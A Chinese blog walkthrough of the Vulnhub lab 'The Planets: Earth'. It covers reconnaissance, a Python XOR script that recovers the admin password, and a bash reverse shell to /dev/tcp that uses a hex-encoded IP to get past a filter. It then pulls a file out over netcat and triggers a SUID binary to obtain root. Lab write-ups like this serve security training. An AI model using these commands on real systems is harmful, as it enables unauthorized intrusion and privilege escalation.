【Vulnhub靶场】The Planets Earth

The Planets Earth靶场下载地址:https://www.vulnhub.com/entry/the-planets-earth,755/

目标

得到两个flag,需要获得root权限

本机IP:192.168.118.128

目标IP:192.168.118.0/24

信息收集

靶机ip探测

nmap -sP 192.168.118.0/24

已知本机ip,容断出靶机IP为:192.168.118.149

端口探测

nmap -p- 192.168.118.149

得到了如上三个端口

访问一下80端口和443端口,http://192.168.118.149和https://192.168.118.149,发现无法打开

使用nmap全服务探测

nmap -sV -A 192.168.118.149

在443端口返回两个DNS

接下来将这两个DNS添加到hosts

查看web:http://earth.local       https://terratest.earth.local

找到一个消息提交页面,下面有三条提交的历史记录(0是我自己测试发送的)

扫描后台目录

dirsearch -u http://earth.local 

这里找到一个后台登录页面

扫描另一个后台目录

dirsearch -u  https://terratest.earth.local

访问得到一个目录

测试以后发现是 .txt 文件,访问 https://terratest.earth.local/testingnotes.txt

得到三个提示,使用了XOR加密,用于测试加密的一个目录,一个登录名 terra

访问  https://terratest.earth.local/testdata.txt ,得到测试加密的信息

XOR解密

寻找terra的密码

根据前面的信息,有用于测试加密的信息,前面发现过提交的留言记录,刚刚的提示XOR加密

我们编写脚本,解密,前面有三条留言记录,我们逐一测试,发现第三条可以解密出结果

import binascii
entry_str = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
pass_txt = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
#将pass_txt转换成16进制
pass_txt_16 = binascii.b2a_hex(pass_txt.encode(encoding="utf-8")).decode('utf-8').replace("b'",'')
#进行xor运算
result = hex(int(entry_str,16)^int(pass_txt_16,16)).replace('0x','')
#将运算结果转换成字符串
datatext = binascii.unhexlify(result).decode('utf-8')
print(datatext)

 得到一个不断重复的字符串

所以我们的到密码 :earthclimatechangebad4humans

使用得到的账号密码登录前面发现的后台  http://earth.loca/admin/login

登录成功以后发现可以执行任意命令,下一步肯定该反弹shell了

直接上bash反弹shell,但发现远程连接被禁止

尝试将ip进行十六进制编码进行绕过,成功了

nc -lvvp 8989

bash -i >& /dev/tcp/0xc0.0xa8.0x76.0x80/8989 0>&1

然后在/var/earth_web目录下找到第一个flag 

提权

首先查找一下有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null

得到一个直接利用的文件,但是直接打开发现缺少触发器

使用nc拖回本机查看一下

nc -nlvp 7777 >reset_root

nc 192.168.118.128 7777 < /usr/bin/reset_root

使用strace 命令诊断查看一下信息

chmod 777 reset_root

strace ./reset_root

发现是缺少三个文件,也就是刚才缺少的触发器

我们在靶机上面创建这三个缺少的文件

touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

创建成功以后再次执行刚才的文件

运行成功,但还是普通权限,差点以为已经成功了,但发现上面返回了 ROOT的密码

直接切换用户,输入密码,得到一个没有回显的shell,成功获得root权限

最后在 /root 目录下成功找到第二个flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shadow_143

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值